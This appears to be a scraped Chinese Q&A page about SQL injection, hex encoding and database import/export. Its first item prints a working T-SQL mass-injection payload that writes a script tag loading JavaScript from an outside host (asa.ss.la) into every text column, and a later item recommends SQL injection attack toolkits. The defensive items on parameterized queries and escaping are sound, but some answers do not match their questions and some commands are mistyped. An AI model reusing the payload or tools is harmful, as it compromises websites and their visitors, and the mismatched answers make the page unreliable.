⑴ sql注入语句
没编什么码
就直接转换成ascii就行了
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+']))+''</title><script src=http://asa.ss.la/1.js></script>''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor
总体思想就是把你的html代码里插入一段js
js来自http://asa.ss.la/1.js
⑵ 专家您好,我的网站最近被SQL注入了,是十六进制的求大神帮助
你可以参数化SQL和存储过程,或者把字符串的单引号替换成2个单引号。 过滤特殊字符串的方法不合理也不安全,只要把它转换为16进制你就挂了,就算你过滤掉如:以0x开头的16进制标识也没用。
⑶ 这样的SQL注入怎么屏蔽
这个是16进制吧,应付SQL注入,关键是提交前的检查,不加检查的合成SQL并到数据库中检索数据是SQL注入唯一可能得逞的途径,只要切断这个就可以保证万无一失了,另外关掉IIS等的错误提示也是非常重要的,这个可以防止偶尔忘记检查的情况
你管它干什么,编程的时候在合成SQL和检索数据的时候,对不合适的一律屏蔽就可以了,对于这种显然是屏蔽的对象,管他合不合法目的是什么呢,一律屏蔽就OK了
⑷ sql注入 form过滤怎么绕过
我常用的三种方法:
1,参数过滤,过滤掉 单引号,or,1=1 等类似这样的 。
2,使用 参数化方法格式化 ,不使用拼接SQL 语句。
3,主要业务使用存储过程,并在代码里使用参数化来调用(存储过程和方法2结合)
⑸ 怎样在数据库中插入十六进制
一般数据库列中没有十六进制类型的数据,需要将十六进制数先转换为字符串形式,再插入数据库中,对应的数据库列的数据类型为char(n),n为最大字符长度。
⑹ 用SQL实现某字段十进制转十六进制
利用SQLSERVER中的varbinary来间接实现。
16进制字符串转10进制bigint(0-FFFFFFFFFFFFFFFF):
由于二进制比较容易转换为bigint 所以先将字符串转为二进制varbinary,再转换为10进制
CREATEfunction[dbo].[hextoint](@svarchar(16))
returnsbigint
begin
declare@resultbigint
set@result=CONVERT(bigint,CONVERT(varbinary,CAST(N'0x'+@sASchar),1))--最简单有效的方法
return@result
END
GO
10进制转16进制字符串(bigint正负数都可以):相同的思路目前可以将二进制varbinary转换为字符串比较容易,那么先将10进制转二进制再进行16进制字符串输出
CREATEfunction[dbo].[inttohex](@numbigint)
returnsvarchar(16)
begin
declare@num2varbinary(8),@rvarchar(50)
set@num2=convert(varbinary(8),@num)--直接转换为二进制
set@r=dbo.varbin2hexstr(@num2)--二进制转16进制字符串
return@r
end
GO
CREATEfunction[dbo].[varbin2hexstr](
@binvarbinary(8000)
)returnsvarchar(8000)
as
begin
declare@revarchar(8000),@iint
select@re='',@i=datalength(@bin)
while@i>0
select@re=substring('0123456789ABCDEF',substring(@bin,@i,1)/16+1,1)
+substring('0123456789ABCDEF',substring(@bin,@i,1)%16+1,1)
+@re
,@i=@i-1
--return('0x'+@re)
return@re
end
GO
以上代码测试环境WIN2003+SQLSERVER2008
⑺ mysql备份的十六进制文件怎么导入到数据库里面
MySQL命令行导出数据库:
1,进入MySQL目录下的bin文件夹:cd MySQL中到bin文件夹的目录
如我输入的命令行:cd C:\Program Files\MySQL\MySQL Server 4.1\bin
(或者直接将windows的环境变量path中添加该目录)
2,导出数据库:mysqlmp -u 用户名 -p 数据库名 > 导出的文件名
如我输入的命令行:mysqlmp -u root -p news > news.sql (输入后会让你输入进入MySQL的密码)
(如果导出单张表的话在数据库名后面输入表名即可)
3、会看到文件news.sql自动生成到bin文件下
命令行导入数据库:
1,将要导入的.sql文件移至bin文件下,这样的路径比较方便
2,同上面导出的第1步
3,进入MySQL:mysql -u 用户名 -p
如我输入的命令行:mysql -u root -p (输入同样后会让你输入MySQL的密码)
4,在MySQL-Front中新建你要建的数据库,这时是空数据库,如新建一个名为news的目标数据库
5,输入:mysql>use 目标数据库名
如我输入的命令行:mysql>use news;
6,导入文件:mysql>source 导入的文件名;
如我输入的命令行:mysql>source news.sql;
⑻ 如何把一个十六进制的文件导入oracle或sqlserver中
不可以直接把十六进制文件导入oracle或者sqlserver,导入时使用这个函数utl_raw.cast_to_varchar2转换下才可以。
举例:
select
f_get_varchar2(UTL_RAW.cast_to_raw@DBLINK_CTAIS_DQY(BTZQY)) BTZQY
from ctais1.sb_ndsds_2008_fb11 (此处有一个圈a,就是2上面的字符) dblink_ctais_dqy
调用远程库的cast_to_raw方法
⑼ 关于SQL注入的问题
楼主可以用
明小子
啊D工具包
PHP MYSQL网站注入扫描工具
PHP脚本扫描器 V1.0
HDsi3.0 军火仓库专用版
SQL综合利用工具包2006年6月22号整理
SQL注入16进制转换工具
黑朋专用免杀版SQL综合利用工具
多线程网站后台扫描工具
网站猎手2.0版
通用注入
个人推荐用啊D功能很强大
但是通常的杀毒软件会报毒,慎重使用
⑽ php中防止SQL注入,该如何解决
防sql注入的一个简单方法就是使用框架,一般成熟框架中会集成各种安全措施。
当然也可以自己处理,如果用户的输入能直接插入到SQL语句中,那么这个应用就易收到SQL注入的攻击。我认为最重要的一点,就是要对数据类型进行检查和转义。
php.ini
------------
display_errors 选项,应该设为display_errors = off。这样 php 脚本出错之后,不会在 web 页面输出错误,以免让攻击者分析出有作的信息。
打开magic_quotes_gpc来防止SQL注入,magic_quotes_gpc= Off,这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换,比如把 ' 转为 '等,对于防止sql注射有重大作用。如果magic_quotes_gpc=Off,则使用addslashes()函数。
mysql 函数
---------------
调用mysql_query 等mysql 函数时,前面应该加上 @,即 @mysql_query(...),这样 mysql 错误不会被输出。同理以免让攻击者分析出有用的信息。另外,有些程序员在做开发时,当mysql_query出错时,习惯输出错误以及sql 语句。
mysql_real_escape_string -- 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。
Sql语句
------------
对提交的 sql 语句,进行转义和类型检查。如果请求是数值型,那么调用is_numeric() 判断是否为数值。如果不是,则返回程序指定的默认值。简单起见,对于文本串,我将用户输入的所有危险字符(包括HTML代码),全部转义。由于php 函数addslashes()存在漏洞,我用str_replace()直接替换。get_magic_quotes_gpc()函数是php 的函数,用来判断magic_quotes_gpc 选项是否打开。
其它
---------
使用预处理语句和参数化查询(PDO或mysqli)。预处理语句和参数分别发送到数据库服务器进行解析,参数将会被当作普通字符处理。这种方式使得攻击者无法注入恶意的SQL。